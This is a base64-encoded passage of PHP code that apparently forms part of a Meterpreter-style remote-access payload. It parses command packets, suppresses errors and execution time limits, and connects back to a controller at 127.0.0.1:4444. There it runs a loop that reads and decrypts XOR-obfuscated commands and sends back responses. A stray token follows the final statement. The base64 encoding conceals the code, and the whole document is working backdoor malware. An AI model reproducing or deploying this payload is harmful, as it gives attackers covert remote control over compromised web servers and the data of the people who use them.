ID09IFRMVl9NRVRBX1RZUEVfU1RSSU5HKSB7ICR0bHYgPSB1bnBhY2soIk5sZW4vTnR5cGUvYSp2YWx1ZSIsIHN1YnN0cigkcmF3X3RsdiwgMCwgJHRsdlsnbGVuJ10pKTsgJHRsdlsndmFsdWUnXSA9IHN0cl9yZXBsYWNlKCJcMCIsICIiLCAkdGx2Wyd2YWx1ZSddKTsgfSBlbHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfVUlOVCkgPT0gVExWX01FVEFfVFlQRV9VSU5UKSB7ICR0bHYgPSB1bnBhY2soIk5sZW4vTnR5cGUvTnZhbHVlIiwgc3Vic3RyKCRyYXdfdGx2LCAwLCAkdGx2WydsZW4nXSkpOyB9IGVsc2VpZiAoKCR0eXBlICYgVExWX01FVEFfVFlQRV9RV09SRCkgPT0gVExWX01FVEFfVFlQRV9RV09SRCkgeyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlL05oaS9ObG8iLCBzdWJzdHIoJHJhd190bHYsIDAsICR0bHZbJ2xlbiddKSk7ICR0bHZbJ3ZhbHVlJ10gPSAkdGx2WydoaSddIDw8IDMyIHwgJHRsdlsnbG8nXTsgfSBlbHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfQk9PTCkgPT0gVExWX01FVEFfVFlQRV9CT09MKSB7ICR0bHYgPSB1bnBhY2soIk5sZW4vTnR5cGUvY3ZhbHVlIiwgc3Vic3RyKCRyYXdfdGx2LCAwLCAkdGx2WydsZW4nXSkpOyB9IGVsc2VpZiAoKCR0eXBlICYgVExWX01FVEFfVFlQRV9SQVcpID09IFRMVl9NRVRBX1RZUEVfUkFXKSB7ICR0bHYgPSB1bnBhY2soIk5sZW4vTnR5cGUiLCAkcmF3X3Rsdik7ICR0bHZbJ3ZhbHVlJ10gPSBzdWJzdHIoJHJhd190bHYsIDgsICR0bHZbJ2xlbiddLTgpOyB9IGVsc2UgeyBteV9wcmludCgiV3RmIHR5cGUgaXMgdGhpcz8gJHR5cGUiKTsgJHRsdiA9IG51bGw7IH0gcmV0dXJuICR0bHY7IH0gZnVuY3Rpb24gcGFja2V0X2FkZF90bHYoJiRwa3QsICR0bHYpIHsgJHBrdCAuPSB0bHZfcGFjaygkdGx2KTsgfSBmdW5jdGlvbiBwYWNrZXRfZ2V0X3RsdigkcGt0LCAkdHlwZSkgeyAkb2Zmc2V0ID0gODsgd2hpbGUgKCRvZmZzZXQgPCBzdHJsZW4oJHBrdCkpIHsgJHRsdiA9IHRsdl91bnBhY2soc3Vic3RyKCRwa3QsICRvZmZzZXQpKTsgaWYgKCR0eXBlID09ICgkdGx2Wyd0eXBlJ10gJiB+VExWX01FVEFfVFlQRV9DT01QUkVTU0VEKSkgeyByZXR1cm4gJHRsdjsgfSAkb2Zmc2V0ICs9ICR0bHZbJ2xlbiddOyB9IHJldHVybiBudWxsOyB9IGZ1bmN0aW9uIHBhY2tldF9nZXRfYWxsX3RsdnMoJHBrdCwgJHR5cGUpIHsgbXlfcHJpbnQoIkxvb2tpbmcgZm9yIGFsbCB0bHZzIG9mIHR5cGUgJHR5cGUiKTsgJG9mZnNldCA9IDg7ICRhbGwgPSBhcnJheSgpOyB3aGlsZSAoJG9mZnNldCA8IHN0cmxlbigkcGt0KSkgeyAkdGx2ID0gdGx2X3VucGFjayhzdWJzdHIoJHBrdCwgJG9mZnNldCkpOyBpZiAoJHRsdiA9PSBOVUxMKSB7IGJyZWFrOyB9IG15X3ByaW50KCJsZW46IHskdGx2WydsZW4nXX0sIHR5cGU6IHskdGx2Wyd0eXBlJ119Iik7IGlmIChlbXB0eSgkdHlwZSkgfHwgJHR5cGUgPT0gKCR0bHZbJ3R5cGUnXSAmIH5UTFZfTUVUQV9UWVBFX0NPTVBSRVNTRUQpKSB7IG15X3ByaW50KCJGb3VuZCBvbmUgYXQgb2Zmc2V0ICRvZmZzZXQiKTsgYXJyYXlfcHVzaCgkYWxsLCAkdGx2KTsgfSAkb2Zmc2V0ICs9ICR0bHZbJ2xlbiddOyB9IHJldHVybiAkYWxsOyB9IGZ1bmN0aW9uIHJlZ2lzdGVyX3NvY2tldCgkc29jaywgJGlwYWRkcj1udWxsLCAkcG9ydD1udWxsKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXAsICR1ZHBfaG9zdF9tYXA7IG15X3ByaW50KCJSZWdpc3RlcmluZyBzb2NrZXQgJHNvY2sgZm9yICgkaXBhZGRyOiRwb3J0KSIpOyAkcmVzb3VyY2VfdHlwZV9tYXBbKGludCkkc29ja10gPSAnc29ja2V0JzsgaWYgKCRpcGFkZHIpIHsgJHVkcF9ob3N0X21hcFsoaW50KSRzb2NrXSA9IGFycmF5KCRpcGFkZHIsICRwb3J0KTsgfSB9IGZ1bmN0aW9uIHJlZ2lzdGVyX3N0cmVhbSgkc3RyZWFtLCAkaXBhZGRyPW51bGwsICRwb3J0PW51bGwpIHsgZ2xvYmFsICRyZXNvdXJjZV90eXBlX21hcCwgJHVkcF9ob3N0X21hcDsgbXlfcHJpbnQoIlJlZ2lzdGVyaW5nIHN0cmVhbSAkc3RyZWFtIGZvciAoJGlwYWRkcjokcG9ydCkiKTsgJHJlc291cmNlX3R5cGVfbWFwWyhpbnQpJHN0cmVhbV0gPSAnc3RyZWFtJzsgaWYgKCRpcGFkZHIpIHsgJHVkcF9ob3N0X21hcFsoaW50KSRzdHJlYW1dID0gYXJyYXkoJGlwYWRkciwgJHBvcnQpOyB9IH0gZnVuY3Rpb24gY29ubmVjdCgkaXBhZGRyLCAkcG9ydCwgJHByb3RvPSd0Y3AnKSB7IG15X3ByaW50KCJEb2luZyBjb25uZWN0KCRpcGFkZHIsICRwb3J0KSIpOyAkc29jayA9IGZhbHNlOyAkaXBmID0gV0lOX0FGX0lORVQ7ICRyYXdfaXAgPSAkaXBhZGRyOyBpZiAoRkFMU0UgIT09IHN0cnBvcygkaXBhZGRyLCAiOiIpKSB7ICRpcGYgPSBXSU5fQUZfSU5FVDY7ICRpcGFkZHIgPSAiWyIuICRyYXdfaXAgLiJdIjsgfSBpZiAoaXNfY2FsbGFibGUoJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykpIHsgbXlfcHJpbnQoInN0cmVhbV9zb2NrZXRfY2xpZW50KHskcHJvdG99Oi8veyRpcGFkZHJ9OnskcG9ydH0pIik7IGlmICgkcHJvdG8gPT0gJ3NzbCcpIHsgJHNvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgic3NsOi8veyRpcGFkZHJ9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsIDUsIFNUUkVBTV9DTElFTlRfQVNZTkNfQ09OTkVDVCk7IGlmICghJHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IHN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOyByZWdpc3Rlcl9zdHJlYW0oJHNvY2spOyB9IGVsc2VpZiAoJHByb3RvID09ICd0Y3AnKSB7ICRzb2NrID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXBhZGRyfTp7JHBvcnR9Iik7IGlmICghJHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IHJlZ2lzdGVyX3N0cmVhbSgkc29jayk7IH0gZWxzZWlmICgkcHJvdG8gPT0gJ3VkcCcpIHsgJHNvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidWRwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTsgaWYgKCEkc29jaykgeyByZXR1cm4gZmFsc2U7IH0gcmVnaXN0ZXJfc3RyZWFtKCRzb2NrLCAkaXBhZGRyLCAkcG9ydCk7IH0gfSBlbHNlIGlmIChpc19jYWxsYWJsZSgnZnNvY2tvcGVuJykpIHsgbXlfcHJpbnQoImZzb2Nrb3BlbiIpOyBpZiAoJHByb3RvID09ICdzc2wnKSB7ICRzb2NrID0gZnNvY2tvcGVuKCJzc2w6Ly97JGlwYWRkcn06eyRwb3J0fSIpOyBzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsgcmVnaXN0ZXJfc3RyZWFtKCRzb2NrKTsgfSBlbHNlaWYgKCRwcm90byA9PSAndGNwJykgeyAkc29jayA9IGZzb2Nrb3BlbigkaXBhZGRyLCAkcG9ydCk7IGlmICghJHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IGlmIChpc19jYWxsYWJsZSgnc29ja2V0X3NldF90aW1lb3V0JykpIHsgc29ja2V0X3NldF90aW1lb3V0KCRzb2NrLCAyKTsgfSByZWdpc3Rlcl9zdHJlYW0oJHNvY2spOyB9IGVsc2UgeyAkc29jayA9IGZzb2Nrb3BlbigkcHJvdG8uIjovLyIuJGlwYWRkciwkcG9ydCk7IGlmICghJHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IHJlZ2lzdGVyX3N0cmVhbSgkc29jaywgJGlwYWRkciwgJHBvcnQpOyB9IH0gZWxzZSBpZiAoaXNfY2FsbGFibGUoJ3NvY2tldF9jcmVhdGUnKSkgeyBteV9wcmludCgic29ja2V0X2NyZWF0ZSIpOyBpZiAoJHByb3RvID09ICd0Y3AnKSB7ICRzb2NrID0gc29ja2V0X2NyZWF0ZSgkaXBmLCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBzb2NrZXRfY29ubmVjdCgkc29jaywgJHJhd19pcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgcmV0dXJuIGZhbHNlOyB9IHJlZ2lzdGVyX3NvY2tldCgkc29jayk7IH0gZWxzZWlmICgkcHJvdG8gPT0gJ3VkcCcpIHsgJHNvY2sgPSBzb2NrZXRfY3JlYXRlKCRpcGYsIFNPQ0tfREdSQU0sIFNPTF9VRFApOyByZWdpc3Rlcl9zb2NrZXQoJHNvY2ssICRyYXdfaXAsICRwb3J0KTsgfSB9IHJldHVybiAkc29jazsgfSBmdW5jdGlvbiBlb2YoJHJlc291cmNlKSB7ICRyZXQgPSBmYWxzZTsgc3dpdGNoIChnZXRfcnR5cGUoJHJlc291cmNlKSkgeyBjYXNlICdzb2NrZXQnOiBicmVhazsgY2FzZSAnc3RyZWFtJzogJHJldCA9IGZlb2YoJHJlc291cmNlKTsgYnJlYWs7IH0gcmV0dXJuICRyZXQ7IH0gZnVuY3Rpb24gY2xvc2UoJHJlc291cmNlKSB7IG15X3ByaW50KCJDbG9zaW5nIHJlc291cmNlICRyZXNvdXJjZSIpOyBnbG9iYWwgJHJlc291cmNlX3R5cGVfbWFwLCAkdWRwX2hvc3RfbWFwOyByZW1vdmVfcmVhZGVyKCRyZXNvdXJjZSk7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNvdXJjZSkpIHsgY2FzZSAnc29ja2V0JzogJHJldCA9IHNvY2tldF9jbG9zZSgkcmVzb3VyY2UpOyBicmVhazsgY2FzZSAnc3RyZWFtJzogJHJldCA9IGZjbG9zZSgkcmVzb3VyY2UpOyBicmVhazsgfSBpZiAoYXJyYXlfa2V5X2V4aXN0cygoaW50KSRyZXNvdXJjZSwgJHJlc291cmNlX3R5cGVfbWFwKSkgeyB1bnNldCgkcmVzb3VyY2VfdHlwZV9tYXBbKGludCkkcmVzb3VyY2VdKTsgfSBpZiAoYXJyYXlfa2V5X2V4aXN0cygoaW50KSRyZXNvdXJjZSwgJHVkcF9ob3N0X21hcCkpIHsgbXlfcHJpbnQoIlJlbW92aW5nICRyZXNvdXJjZSBmcm9tIHVkcF9ob3N0X21hcCIpOyB1bnNldCgkdWRwX2hvc3RfbWFwWyhpbnQpJHJlc291cmNlXSk7IH0gcmV0dXJuICRyZXQ7IH0gZnVuY3Rpb24gcmVhZCgkcmVzb3VyY2UsICRsZW49bnVsbCkgeyBnbG9iYWwgJHVkcF9ob3N0X21hcDsgaWYgKGlzX251bGwoJGxlbikpIHsgJGxlbiA9IDgxOTI7IH0gJGJ1ZmYgPSAnJzsgc3dpdGNoIChnZXRfcnR5cGUoJHJlc291cmNlKSkgeyBjYXNlICdzb2NrZXQnOiBpZiAoYXJyYXlfa2V5X2V4aXN0cygoaW50KSRyZXNvdXJjZSwgJHVkcF9ob3N0X21hcCkpIHsgbXlfcHJpbnQoIlJlYWRpbmcgVURQIHNvY2tldCIpOyBsaXN0KCRob3N0LCRwb3J0KSA9ICR1ZHBfaG9zdF9tYXBbKGludCkkcmVzb3VyY2VdOyBzb2NrZXRfcmVjdmZyb20oJHJlc291cmNlLCAkYnVmZiwgJGxlbiwgUEhQX0JJTkFSWV9SRUFELCAkaG9zdCwgJHBvcnQpOyB9IGVsc2UgeyBteV9wcmludCgiUmVhZGluZyBUQ1Agc29ja2V0Iik7ICRidWZmIC49IHNvY2tldF9yZWFkKCRyZXNvdXJjZSwgJGxlbiwgUEhQX0JJTkFSWV9SRUFEKTsgfSBicmVhazsgY2FzZSAnc3RyZWFtJzogZ2xvYmFsICRtc2dzb2NrOyAkciA9IEFycmF5KCRyZXNvdXJjZSk7IG15X3ByaW50KCJDYWxsaW5nIHNlbGVjdCB0byBzZWUgaWYgdGhlcmUncyBkYXRhIG9uICRyZXNvdXJjZSIpOyAkbGFzdF9yZXF1ZXN0ZWRfbGVuID0gMDsgd2hpbGUgKHRydWUpIHsgJHc9TlVMTDskZT1OVUxMOyR0PTA7ICRjbnQgPSBzdHJlYW1fc2VsZWN0KCRyLCAkdywgJGUsICR0KTsgaWYgKCRjbnQgPT09IDApIHsgYnJlYWs7IH0gaWYgKCRjbnQgPT09IGZhbHNlIG9yIGZlb2YoJHJlc291cmNlKSkgeyBteV9wcmludCgiQ2hlY2tpbmcgZm9yIGZhaWxlZCByZWFkLi4uIik7IGlmIChlbXB0eSgkYnVmZikpIHsgbXlfcHJpbnQoIi0tLS0gRU9GIE9OICRyZXNvdXJjZSAtLS0tIik7ICRidWZmID0gZmFsc2U7IH0gYnJlYWs7IH0gJG1kID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHJlc291cmNlKTsgZHVtcF9hcnJheSgkbWQsICJNZXRhZGF0YSBmb3IgeyRyZXNvdXJjZX0iKTsgaWYgKCRtZFsndW5yZWFkX2J5dGVzJ10gPiAwKSB7ICRsYXN0X3JlcXVlc3RlZF9sZW4gPSBtaW4oJGxlbiwgJG1kWyd1bnJlYWRfYnl0ZXMnXSk7ICRidWZmIC49IGZyZWFkKCRyZXNvdXJjZSwgJGxhc3RfcmVxdWVzdGVkX2xlbik7IGJyZWFrOyB9IGVsc2UgeyAkdG1wID0gZnJlYWQoJHJlc291cmNlLCAkbGVuKTsgJGxhc3RfcmVxdWVzdGVkX2xlbiA9ICRsZW47ICRidWZmIC49ICR0bXA7IGlmIChzdHJsZW4oJHRtcCkgPCAkbGVuKSB7IGJyZWFrOyB9IH0gaWYgKCRyZXNvdXJjZSAhPSAkbXNnc29jaykgeyBteV9wcmludCgiYnVmZjogJyRidWZmJyIpOyB9ICRyID0gQXJyYXkoJHJlc291cmNlKTsgfSBteV9wcmludChzcHJpbnRmKCJEb25lIHdpdGggdGhlIGJpZyByZWFkIGxvb3Agb24gJHJlc291cmNlLCBnb3QgJWQgYnl0ZXMsIGFza2VkIGZvciAlZCBieXRlcyIsIHN0cmxlbigkYnVmZiksICRsYXN0X3JlcXVlc3RlZF9sZW4pKTsgYnJlYWs7IGRlZmF1bHQ6ICRjaWQgPSBnZXRfY2hhbm5lbF9pZF9mcm9tX3Jlc291cmNlKCRyZXNvdXJjZSk7ICRjID0gZ2V0X2NoYW5uZWxfYnlfaWQoJGNpZCk7IGlmICgkYyBhbmQgJGNbJ2RhdGEnXSkgeyAkYnVmZiA9IHN1YnN0cigkY1snZGF0YSddLCAwLCAkbGVuKTsgJGNbJ2RhdGEnXSA9IHN1YnN0cigkY1snZGF0YSddLCAkbGVuKTsgbXlfcHJpbnQoIkFoYSEgZ290IHNvbWUgbGVmdG92ZXJzIik7IH0gZWxzZSB7IG15X3ByaW50KCJXdGYgZG9uJ3Qga25vdyBob3cgdG8gcmVhZCBmcm9tIHJlc291cmNlICRyZXNvdXJjZSwgYzogJGMiKTsgaWYgKGlzX2FycmF5KCRjKSkgeyBkdW1wX2FycmF5KCRjKTsgfSBicmVhazsgfSB9IG15X3ByaW50KHNwcmludGYoIlJlYWQgJWQgYnl0ZXMiLCBzdHJsZW4oJGJ1ZmYpKSk7IHJldHVybiAkYnVmZjsgfSBmdW5jdGlvbiB3cml0ZSgkcmVzb3VyY2UsICRidWZmLCAkbGVuPTApIHsgZ2xvYmFsICR1ZHBfaG9zdF9tYXA7IGlmICgkbGVuID09IDApIHsgJGxlbiA9IHN0cmxlbigkYnVmZik7IH0gJGNvdW50ID0gZmFsc2U7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNvdXJjZSkpIHsgY2FzZSAnc29ja2V0JzogaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXApKSB7IG15X3ByaW50KCJXcml0aW5nIFVEUCBzb2NrZXQiKTsgbGlzdCgkaG9zdCwkcG9ydCkgPSAkdWRwX2hvc3RfbWFwWyhpbnQpJHJlc291cmNlXTsgJGNvdW50ID0gc29ja2V0X3NlbmR0bygkcmVzb3VyY2UsICRidWZmLCAkbGVuLCAkaG9zdCwgJHBvcnQpOyB9IGVsc2UgeyAkY291bnQgPSBzb2NrZXRfd3JpdGUoJHJlc291cmNlLCAkYnVmZiwgJGxlbik7IH0gYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRjb3VudCA9IGZ3cml0ZSgkcmVzb3VyY2UsICRidWZmLCAkbGVuKTsgZmZsdXNoKCRyZXNvdXJjZSk7IGJyZWFrOyBkZWZhdWx0OiBteV9wcmludCgiV3RmIGRvbid0IGtub3cgaG93IHRvIHdyaXRlIHRvIHJlc291cmNlICRyZXNvdXJjZSIpOyBicmVhazsgfSByZXR1cm4gJGNvdW50OyB9IGZ1bmN0aW9uIGdldF9ydHlwZSgkcmVzb3VyY2UpIHsgZ2xvYmFsICRyZXNvdXJjZV90eXBlX21hcDsgaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICRyZXNvdXJjZV90eXBlX21hcCkpIHsgcmV0dXJuICRyZXNvdXJjZV90eXBlX21hcFsoaW50KSRyZXNvdXJjZV07IH0gcmV0dXJuIGZhbHNlOyB9IGZ1bmN0aW9uIHNlbGVjdCgmJHIsICYkdywgJiRlLCAkdHZfc2VjPTAsICR0dl91c2VjPTApIHsgJHN0cmVhbXNfciA9IGFycmF5KCk7ICRzdHJlYW1zX3cgPSBhcnJheSgpOyAkc3RyZWFtc19lID0gYXJyYXkoKTsgJHNvY2tldHNfciA9IGFycmF5KCk7ICRzb2NrZXRzX3cgPSBhcnJheSgpOyAkc29ja2V0c19lID0gYXJyYXkoKTsgaWYgKCRyKSB7IGZvcmVhY2ggKCRyIGFzICRyZXNvdXJjZSkgeyBzd2l0Y2ggKGdldF9ydHlwZSgkcmVzb3VyY2UpKSB7IGNhc2UgJ3NvY2tldCc6ICRzb2NrZXRzX3JbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRzdHJlYW1zX3JbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGRlZmF1bHQ6IG15X3ByaW50KCJVbmtub3duIHJlc291cmNlIHR5cGUiKTsgYnJlYWs7IH0gfSB9IGlmICgkdykgeyBmb3JlYWNoICgkdyBhcyAkcmVzb3VyY2UpIHsgc3dpdGNoIChnZXRfcnR5cGUoJHJlc291cmNlKSkgeyBjYXNlICdzb2NrZXQnOiAkc29ja2V0c193W10gPSAkcmVzb3VyY2U7IGJyZWFrOyBjYXNlICdzdHJlYW0nOiAkc3RyZWFtc193W10gPSAkcmVzb3VyY2U7IGJyZWFrOyBkZWZhdWx0OiBteV9wcmludCgiVW5rbm93biByZXNvdXJjZSB0eXBlIik7IGJyZWFrOyB9IH0gfSBpZiAoJGUpIHsgZm9yZWFjaCAoJGUgYXMgJHJlc291cmNlKSB7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNvdXJjZSkpIHsgY2FzZSAnc29ja2V0JzogJHNvY2tldHNfZVtdID0gJHJlc291cmNlOyBicmVhazsgY2FzZSAnc3RyZWFtJzogJHN0cmVhbXNfZVtdID0gJHJlc291cmNlOyBicmVhazsgZGVmYXVsdDogbXlfcHJpbnQoIlVua25vd24gcmVzb3VyY2UgdHlwZSIpOyBicmVhazsgfSB9IH0gJG5fc29ja2V0cyA9IGNvdW50KCRzb2NrZXRzX3IpICsgY291bnQoJHNvY2tldHNfdykgKyBjb3VudCgkc29ja2V0c19lKTsgJG5fc3RyZWFtcyA9IGNvdW50KCRzdHJlYW1zX3IpICsgY291bnQoJHN0cmVhbXNfdykgKyBjb3VudCgkc3RyZWFtc19lKTsgJHIgPSBhcnJheSgpOyAkdyA9IGFycmF5KCk7ICRlID0gYXJyYXkoKTsgaWYgKGNvdW50KCRzb2NrZXRzX3IpPT0wKSB7ICRzb2NrZXRzX3IgPSBudWxsOyB9IGlmIChjb3VudCgkc29ja2V0c193KT09MCkgeyAkc29ja2V0c193ID0gbnVsbDsgfSBpZiAoY291bnQoJHNvY2tldHNfZSk9PTApIHsgJHNvY2tldHNfZSA9IG51bGw7IH0gaWYgKGNvdW50KCRzdHJlYW1zX3IpPT0wKSB7ICRzdHJlYW1zX3IgPSBudWxsOyB9IGlmIChjb3VudCgkc3RyZWFtc193KT09MCkgeyAkc3RyZWFtc193ID0gbnVsbDsgfSBpZiAoY291bnQoJHN0cmVhbXNfZSk9PTApIHsgJHN0cmVhbXNfZSA9IG51bGw7IH0gJGNvdW50ID0gMDsgaWYgKCRuX3NvY2tldHMgPiAwKSB7ICRyZXMgPSBzb2NrZXRfc2VsZWN0KCRzb2NrZXRzX3IsICRzb2NrZXRzX3csICRzb2NrZXRzX2UsICR0dl9zZWMsICR0dl91c2VjKTsgaWYgKGZhbHNlID09PSAkcmVzKSB7IHJldHVybiBmYWxzZTsgfSBpZiAoaXNfYXJyYXkoJHIpICYmIGlzX2FycmF5KCRzb2NrZXRzX3IpKSB7ICRyID0gYXJyYXlfbWVyZ2UoJHIsICRzb2NrZXRzX3IpOyB9IGlmIChpc19hcnJheSgkdykgJiYgaXNfYXJyYXkoJHNvY2tldHNfdykpIHsgJHcgPSBhcnJheV9tZXJnZSgkdywgJHNvY2tldHNfdyk7IH0gaWYgKGlzX2FycmF5KCRlKSAmJiBpc19hcnJheSgkc29ja2V0c19lKSkgeyAkZSA9IGFycmF5X21lcmdlKCRlLCAkc29ja2V0c19lKTsgfSAkY291bnQgKz0gJHJlczsgfSBpZiAoJG5fc3RyZWFtcyA+IDApIHsgJHJlcyA9IHN0cmVhbV9zZWxlY3QoJHN0cmVhbXNfciwgJHN0cmVhbXNfdywgJHN0cmVhbXNfZSwgJHR2X3NlYywgJHR2X3VzZWMpOyBpZiAoZmFsc2UgPT09ICRyZXMpIHsgcmV0dXJuIGZhbHNlOyB9IGlmIChpc19hcnJheSgkcikgJiYgaXNfYXJyYXkoJHN0cmVhbXNfcikpIHsgJHIgPSBhcnJheV9tZXJnZSgkciwgJHN0cmVhbXNfcik7IH0gaWYgKGlzX2FycmF5KCR3KSAmJiBpc19hcnJheSgkc3RyZWFtc193KSkgeyAkdyA9IGFycmF5X21lcmdlKCR3LCAkc3RyZWFtc193KTsgfSBpZiAoaXNfYXJyYXkoJGUpICYmIGlzX2FycmF5KCRzdHJlYW1zX2UpKSB7ICRlID0gYXJyYXlfbWVyZ2UoJGUsICRzdHJlYW1zX2UpOyB9ICRjb3VudCArPSAkcmVzOyB9IHJldHVybiAkY291bnQ7IH0gZnVuY3Rpb24gYWRkX3JlYWRlcigkcmVzb3VyY2UpIHsgZ2xvYmFsICRyZWFkZXJzOyBpZiAoaXNfcmVzb3VyY2UoJHJlc291cmNlKSAmJiAhaW5fYXJyYXkoJHJlc291cmNlLCAkcmVhZGVycykpIHsgJHJlYWRlcnNbXSA9ICRyZXNvdXJjZTsgfSB9IGZ1bmN0aW9uIHJlbW92ZV9yZWFkZXIoJHJlc291cmNlKSB7IGdsb2JhbCAkcmVhZGVyczsgaWYgKGluX2FycmF5KCRyZXNvdXJjZSwgJHJlYWRlcnMpKSB7IGZvcmVhY2ggKCRyZWFkZXJzIGFzICRrZXkgPT4gJHIpIHsgaWYgKCRyID09ICRyZXNvdXJjZSkgeyB1bnNldCgkcmVhZGVyc1ska2V5XSk7IH0gfSB9IH0gb2JfaW1wbGljaXRfZmx1c2goKTsgaWYgKE1ZX0RFQlVHR0lORykgeyBlcnJvcl9yZXBvcnRpbmcoRV9BTEwpOyB9IGVsc2UgeyBlcnJvcl9yZXBvcnRpbmcoMCk7IH0gQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOyBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7ICRHTE9CQUxTWydVVUlEJ10gPSBQQVlMT0FEX1VVSUQ7ICRHTE9CQUxTWydTRVNTSU9OX0dVSUQnXSA9IFNFU1NJT05fR1VJRDsgJEdMT0JBTFNbJ0FFU19LRVknXSA9IG51bGw7ICRHTE9CQUxTWydBRVNfRU5BQkxFRCddID0gZmFsc2U7IGlmICghaXNzZXQoJEdMT0JBTFNbJ21zZ3NvY2snXSkpIHsgJGlwYWRkciA9ICcxMjcuMC4wLjEnOyAkcG9ydCA9IDQ0NDQ7IG15X3ByaW50KCJEb24ndCBoYXZlIGEgbXNnc29jaywgdHJ5aW5nIHRvIGNvbm5lY3QoJGlwYWRkciwgJHBvcnQpIik7ICRtc2dzb2NrID0gY29ubmVjdCgkaXBhZGRyLCAkcG9ydCk7IGlmICghJG1zZ3NvY2spIHsgZGllKCk7IH0gfSBlbHNlIHsgJG1zZ3NvY2sgPSAkR0xPQkFMU1snbXNnc29jayddOyAkbXNnc29ja190eXBlID0gJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddOyBzd2l0Y2ggKCRtc2dzb2NrX3R5cGUpIHsgY2FzZSAnc29ja2V0JzogcmVnaXN0ZXJfc29ja2V0KCRtc2dzb2NrKTsgYnJlYWs7IGNhc2UgJ3N0cmVhbSc6IGRlZmF1bHQ6IHJlZ2lzdGVyX3N0cmVhbSgkbXNnc29jayk7IH0gfSBhZGRfcmVhZGVyKCRtc2dzb2NrKTsgJHI9JEdMT0JBTFNbJ3JlYWRlcnMnXTsgJHc9TlVMTDskZT1OVUxMOyR0PTE7IHdoaWxlIChmYWxzZSAhPT0gKCRjbnQgPSBzZWxlY3QoJHIsICR3LCAkZSwgJHQpKSkgeyAkcmVhZF9mYWlsZWQgPSBmYWxzZTsgZm9yICgkaSA9IDA7ICRpIDwgJGNudDsgJGkrKykgeyAkcmVhZHkgPSAkclskaV07IGlmICgkcmVhZHkgPT0gJG1zZ3NvY2spIHsgJHBhY2tldCA9IHJlYWQoJG1zZ3NvY2ssIDMyKTsgbXlfcHJpbnQoc3ByaW50ZigiUmVhZCByZXR1cm5lZCAlcyBieXRlcyIsIHN0cmxlbigkcGFja2V0KSkpOyBpZiAoZmFsc2U9PSRwYWNrZXQpIHsgbXlfcHJpbnQoIlJlYWQgZmFpbGVkIG9uIG1haW4gc29ja2V0LCBiYWlsaW5nIik7IGJyZWFrIDI7IH0gJHhvciA9IHN1YnN0cigkcGFja2V0LCAwLCA0KTsgJGhlYWRlciA9IHhvcl9ieXRlcygkeG9yLCBzdWJzdHIoJHBhY2tldCwgNCwgMjgpKTsgJGxlbl9hcnJheSA9IHVucGFjaygiTmxlbiIsIHN1YnN0cigkaGVhZGVyLCAyMCwgNCkpOyAkbGVuID0gJGxlbl9hcnJheVsnbGVuJ10gKyAzMiAtIDg7IHdoaWxlIChzdHJsZW4oJHBhY2tldCkgPCAkbGVuKSB7ICRwYWNrZXQgLj0gcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJHBhY2tldCkpOyB9ICRyZXNwb25zZSA9IGNyZWF0ZV9yZXNwb25zZShkZWNyeXB0X3BhY2tldCh4b3JfYnl0ZXMoJHhvciwgJHBhY2tldCkpKTsgd3JpdGVfdGx2X3RvX3NvY2tldCgkbXNnc29jaywgJHJlc3BvbnNlKTsgfSBlbHNlIHsgJGRhdGEgPSByZWFkKCRyZWFkeSk7IGlmIChmYWxzZSA9PT0gJGRhdGEpIHsgaGFuZGxlX2RlYWRfcmVzb3VyY2VfY2hhbm5lbCgkcmVhZHkpOyB9IGVsc2VpZiAoc3RybGVuKCRkYXRhKSA+IDApeyBteV9wcmludChzcHJpbnRmKCJSZWFkIHJldHVybmVkICVzIGJ5dGVzIiwgc3RybGVuKCRkYXRhKSkpOyAkcmVxdWVzdCA9IGhhbmRsZV9yZXNvdXJjZV9yZWFkX2NoYW5uZWwoJHJlYWR5LCAkZGF0YSk7IGlmICgkcmVxdWVzdCkgeyB3cml0ZV90bHZfdG9fc29ja2V0KCRtc2dzb2NrLCAkcmVxdWVzdCk7IH0gfSB9IH0gJHIgPSAkR0xPQkFMU1sncmVhZGVycyddOyB9IG15X3ByaW50KCJGaW5pc2hlZCIpOyBteV9wcmludCgiLS0tLS0tLS0tLS0tLS0tLS0tLS0iKTsgY2xvc2UoJG1zZ3NvY2spO2tpcmExNDA2